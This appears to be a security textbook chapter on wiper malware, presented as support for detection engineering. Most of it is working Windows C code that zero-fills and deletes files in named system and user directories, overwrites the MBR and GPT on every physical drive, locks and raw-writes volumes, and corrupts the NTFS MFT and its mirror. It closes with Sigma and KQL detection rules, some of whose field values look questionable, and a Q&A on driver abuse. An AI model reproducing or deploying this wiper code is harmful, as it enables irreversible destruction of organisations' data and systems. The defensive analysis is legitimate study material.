Chapter 171

Wiper Malware Implementation

Wipers destroy data without offering recovery — no ransom, no decryption key. State-sponsored campaigns (NotPetya, HermeticWiper, WhisperGate, CaddyWiper) deploy wipers for maximum disruption. Understanding how they work at the technical level is essential for detection engineering: what disk primitives they use, what Windows access controls they must bypass, and what telemetry each destructive primitive generates.

Scenario

A nation-state operator needs to render a target's entire server fleet unbootable within minutes, without possibility of OS-level recovery. The wiper must: destroy the MBR so the machine cannot boot from disk, corrupt enough of the file system metadata that even forensic recovery is difficult, and do all of this without triggering AV on the wiper binary itself. Understanding this from the defender side tells you what kernel primitives to monitor for destructive operations.

Wiper Taxonomy by Destruction Target

Wiper destruction targets (progressively more destructive): Level 1 — File content overwrite: Target: individual file data Recovery: possible from VSS if not deleted first Technique: WriteFile(zeros), SetEndOfFile(0), DeleteFile Examples: WhisperGate stage 1 (partial wipe of specific dirs) Level 2 — File system metadata: Target: MFT (NTFS Master File Table) — index of all files Recovery: file carving possible but filenames/dirs lost Technique: raw write to $MFT via \\.\C: + FSCTL Examples: HermeticWiper, CaddyWiper Level 3 — Boot sector (MBR/VBR/PBR): Target: first 512 bytes of disk (MBR) or partition boot record Recovery: bootrec /fixmbr can recover if OS files intact Technique: DeviceIoControl(IOCTL_DISK_WRITE) on \\.\PhysicalDrive0 Examples: NotPetya (Petya-derived), WhisperGate, HermeticWiper Level 4 — Partition table: Target: GPT/MBR partition entries — OS cannot find partitions Recovery: TestDisk/partition recovery tools Technique: write garbage to sectors 0–33 (GPT) or MBR + next sectors Level 5 — Volume shadow + backup (pre-wipe): Delete VSS, disable recovery, corrupt backup catalog first Ensures no OS-level recovery path even if disk data survives

File-Level Wiper

#include <windows.h>
#include <string>

// Overwrite every file in a directory tree with zeros then delete.
// Defeats file carving by eliminating data before directory entry removal.
VOID WipeFile(LPCWSTR path) {
    HANDLE h = CreateFileW(path,
        GENERIC_WRITE | GENERIC_READ,
        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
        NULL, OPEN_EXISTING,
        FILE_FLAG_WRITE_THROUGH | FILE_FLAG_NO_BUFFERING, NULL);
    if (h == INVALID_HANDLE_VALUE) { DeleteFileW(path); return; }

    LARGE_INTEGER sz; GetFileSizeEx(h, &sz);
    BYTE buf[65536] = {0};
    DWORD written;
    LARGE_INTEGER pos = {0};
    SetFilePointerEx(h, pos, NULL, FILE_BEGIN);

    // Overwrite with zeros in aligned chunks
    LONGLONG remaining = sz.QuadPart;
    while (remaining > 0) {
        DWORD toWrite = (DWORD)min((LONGLONG)sizeof(buf), remaining);
        WriteFile(h, buf, toWrite, &written, NULL);
        remaining -= written;
    }
    FlushFileBuffers(h);
    SetEndOfFile(h);  // truncate to zero length
    CloseHandle(h);
    DeleteFileW(path);
}

VOID WipeDirectory(LPCWSTR dir) {
    WCHAR pattern[MAX_PATH];
    swprintf_s(pattern, L"%s\\*", dir);
    WIN32_FIND_DATAW fd;
    HANDLE h = FindFirstFileW(pattern, &fd);
    if (h == INVALID_HANDLE_VALUE) return;
    do {
        if (wcscmp(fd.cFileName, L".") == 0 ||
            wcscmp(fd.cFileName, L"..") == 0) continue;
        WCHAR full[MAX_PATH];
        swprintf_s(full, L"%s\\%s", dir, fd.cFileName);
        if (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
            WipeDirectory(full);
            RemoveDirectoryW(full);
        } else {
            WipeFile(full);
        }
    } while (FindNextFileW(h, &fd));
    FindClose(h);
}
// Target directories: C:\Users, C:\Windows\System32\config (SAM/SYSTEM/SECURITY),
// database paths, D:\, E:\ network shares, etc.

MBR/VBR Overwrite

// Open physical disk directly via \\.\PhysicalDrive0
// Write garbage/zeros to sector 0 (MBR) and sectors 1-32 (GPT headers).
// Requires: SeBackupPrivilege or admin + raw disk access.
// After this: machine won't boot from this disk. OS on HDD = dead.

BOOL WipeMbr(int driveIndex) {
    WCHAR path[32];
    swprintf_s(path, L"\\\\.\\PhysicalDrive%d", driveIndex);

    HANDLE h = CreateFileW(path,
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL, OPEN_EXISTING,
        FILE_FLAG_NO_BUFFERING | FILE_FLAG_WRITE_THROUGH, NULL);
    if (h == INVALID_HANDLE_VALUE) return FALSE;

    // Sector 0 = MBR (512 bytes). Wipe first 1MB to destroy MBR + GPT + backup GPT.
    BYTE sector[512] = {0};
    DWORD written;
    LARGE_INTEGER pos = {0};
    SetFilePointerEx(h, pos, NULL, FILE_BEGIN);

    for (int i = 0; i < 2048; i++) {  // 2048 * 512 = 1MB
        if (!WriteFile(h, sector, 512, &written, NULL)) break;
    }
    FlushFileBuffers(h);
    CloseHandle(h);
    return TRUE;
}

// Enumerate all physical drives:
BOOL WipeAllDrives(void) {
    for (int i = 0; i < 8; i++) {
        WCHAR path[32];
        swprintf_s(path, L"\\\\.\\PhysicalDrive%d", i);
        HANDLE h = CreateFileW(path, 0, FILE_SHARE_READ|FILE_SHARE_WRITE,
                               NULL, OPEN_EXISTING, 0, NULL);
        if (h == INVALID_HANDLE_VALUE) break;
        CloseHandle(h);
        WipeMbr(i);
    }
    return TRUE;
}

Raw Disk I/O via DeviceIoControl

// DeviceIoControl can lock, dismount, and write a volume at raw sector level.
// Locking dismounts all open file handles — required before raw write.
// Used by HermeticWiper to corrupt disk metadata before file wipe.

BOOL RawVolumeWipe(int volLetter) {
    WCHAR volPath[16];
    swprintf_s(volPath, L"\\\\.\\%c:", (WCHAR)volLetter);

    HANDLE hVol = CreateFileW(volPath,
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL, OPEN_EXISTING,
        FILE_FLAG_NO_BUFFERING, NULL);
    if (hVol == INVALID_HANDLE_VALUE) return FALSE;

    DWORD bytes;
    // Lock volume — forces dismount of all open handles
    DeviceIoControl(hVol, FSCTL_LOCK_VOLUME, NULL, 0, NULL, 0, &bytes, NULL);

    // Dismount (optional but ensures exclusive access)
    DeviceIoControl(hVol, FSCTL_DISMOUNT_VOLUME, NULL, 0, NULL, 0, &bytes, NULL);

    // Write zeros starting at offset 0 (VBR/PBR of this volume)
    BYTE zeros[65536] = {0};
    DWORD written;
    LARGE_INTEGER pos = {0};
    SetFilePointerEx(hVol, pos, NULL, FILE_BEGIN);
    for (int i = 0; i < 64; i++)  // 4MB of metadata at start of volume
        WriteFile(hVol, zeros, sizeof(zeros), &written, NULL);

    FlushFileBuffers(hVol);
    CloseHandle(hVol);
    return TRUE;
}

MFT Corruption

// NTFS Master File Table ($MFT) maps every file to its disk location.
// Corrupt it and the OS cannot find any files — even if the data clusters survive.
// $MFT location: determined by NTFS boot record (VBR) at LCN stored at offset 0x30.
// Shortcut: open \\.\C: and write zeros starting at cluster containing $MFT.

BOOL CorruptMft(WCHAR driveLetter) {
    WCHAR volPath[8]; swprintf_s(volPath, L"\\\\.\\%c:", driveLetter);
    HANDLE h = CreateFileW(volPath, GENERIC_READ|GENERIC_WRITE,
                             FILE_SHARE_READ|FILE_SHARE_WRITE,
                             NULL, OPEN_EXISTING,
                             FILE_FLAG_NO_BUFFERING|FILE_FLAG_WRITE_THROUGH, NULL);
    if (h == INVALID_HANDLE_VALUE) return FALSE;

    // Read VBR (first sector) to get MFT LCN offset
    BYTE vbr[512]; DWORD r;
    ReadFile(h, vbr, 512, &r, NULL);
    DWORD bytesPerSector    = *(WORD*)(vbr + 0x0B);
    BYTE  sectorsPerCluster = vbr[0x0D];
    UINT64 mftLcn = *(UINT64*)(vbr + 0x30);  // LCN of $MFT

    UINT64 mftOffset = mftLcn * sectorsPerCluster * bytesPerSector;
    LARGE_INTEGER seekPos;
    seekPos.QuadPart = mftOffset;
    SetFilePointerEx(h, seekPos, NULL, FILE_BEGIN);

    // Overwrite 256KB of MFT (covers first ~1024 file records)
    BYTE zeros[65536] = {0};
    DWORD w;
    for (int i = 0; i < 4; i++) WriteFile(h, zeros, sizeof(zeros), &w, NULL);
    FlushFileBuffers(h);
    CloseHandle(h);
    return TRUE;
}
// After MFT corruption: NTFS auto-repair (chkdsk) may rebuild from $MFTMirr
// (NTFS keeps a partial backup of MFT at the midpoint of the volume).
// Wipe BOTH $MFT and $MFTMirr for full corruption.
// $MFTMirr LCN: read from VBR offset 0x38.

Real-World Wiper Comparison

WiperAttributionPrimary techniqueNotable feature
NotPetya (2017)Sandworm (Russia)MBR overwrite + MFT encryptEternalBlue lateral spread; disguised as ransomware
WhisperGate (2022)UAC-0056 (Russia)MBR overwrite (stage 1) + file wipe (stage 2)2-stage; fake ransomware note on boot
HermeticWiper (2022)SandwormPartition table + MFT corruption via EaseUS driverUsed signed BYOVD driver (epmntdrv.sys) for raw disk access
CaddyWiper (2022)SandwormFile overwrite + physical disk wipeDeployed via AD GPO; avoided DC to maintain lateral spread
AcidRain (2022)SandwormSCSI IOCTL wipeTargeted Viasat KA-SAT modems; embedded Linux
DoubleZero (2022)UAC-0088 (Russia)File zero-fill then delete; Registry wipeAlso wiped HKLM, HKCU hives via RegDeleteKeyW recursion

Detection Engineering

title: Raw Physical Disk Write Access (MBR Wiper)
logsource:
  product: windows
  category: file_event
detection:
  selection:
    TargetFilename|startswith:
      - '\\\\.\\PhysicalDrive'
      - '\\\\.\\PHYSICALDRIVE'
    EventType: 'CreateFile'
    AccessMask|contains: 'GENERIC_WRITE'
  filter_known:
    Image|contains:
      - '\Windows\System32\diskpart.exe'
      - '\defrag.exe'
  condition: selection AND NOT filter_known
level: critical
tags: [attack.impact, T1561.002]

title: FSCTL_LOCK_VOLUME Followed by Write (Volume Wiper)
logsource:
  product: windows
  category: process_access
detection:
  selection:
    EventID: 10
    TargetImage|re: '\\\\.\\[A-Z]:'
    GrantedAccess: '0xC0100080'   # GENERIC_READ|GENERIC_WRITE|NO_BUFFERING
  condition: selection
level: critical

-- MDE KQL: detect mass file deletion/zero-write in short timespan
DeviceFileEvents
| where ActionType in ("FileDeleted", "FileModified")
| where Timestamp > ago(5m)
| summarize
    deleted = countif(ActionType == "FileDeleted"),
    modified = countif(ActionType == "FileModified"),
    total = count()
    by DeviceName, InitiatingProcessFileName, bin(Timestamp, 1m)
| where deleted > 100 or (modified > 500 and deleted > 50)
| where InitiatingProcessFileName !in~ ("MsMpEng.exe", "TiWorker.exe")
| project Timestamp, DeviceName, InitiatingProcessFileName, deleted, modified

Q&A

Why did HermeticWiper use a signed third-party driver instead of calling WriteFile directly on the physical disk, and what does this tell defenders about BYOVD as a prerequisite for destructive operations?

HermeticWiper used EaseUS Partition Master's signed driver (epmntdrv.sys) rather than calling WriteFile on \\.\PhysicalDrive0 directly for two reasons. First, modern Windows requires administrative privilege plus a specific security policy to open physical disk handles with write access — but a signed kernel driver operating at ring 0 has no such restriction. The driver could issue raw SCSI pass-through IOCTLs or write directly to disk sectors via the kernel's storage stack without going through the Windows security checks on raw disk handles. Second, because the driver is Microsoft-signed (via the WHQL process), it loads without Secure Boot objections on most enterprise systems, and the disk operations appear to originate from a legitimate partition manager rather than an unknown binary — potentially delaying detection.

The detection engineering lesson is that BYOVD (Bring Your Own Vulnerable Driver) is increasingly used as a prerequisite not just for kernel code execution but for bypassing Windows security boundaries on destructive operations. The loaded driver itself is the warning sign, not the subsequent disk writes. The driver loading event (Sysmon Event 6 / Windows Event 7045) is earlier and more reliable than trying to detect the raw write itself. Organizations that have a Sigma rule or EDR alert for the loading of any driver not on an approved allowlist — or specifically for drivers on the BYOVD blocklist at loldrivers.io — would have seen HermeticWiper's epmntdrv.sys drop and load before a single byte of disk was wiped.

Practically: any operation that requires kernel-level raw disk access on a Windows system that is not a disk management tool (diskpart, defrag, imaging software) should be treated as a critical incident indicator. The file path \\.\PhysicalDrive0 opened with write access from a process in C:\Users\ or C:\Windows\Temp\ is a near-certain wiper indicator.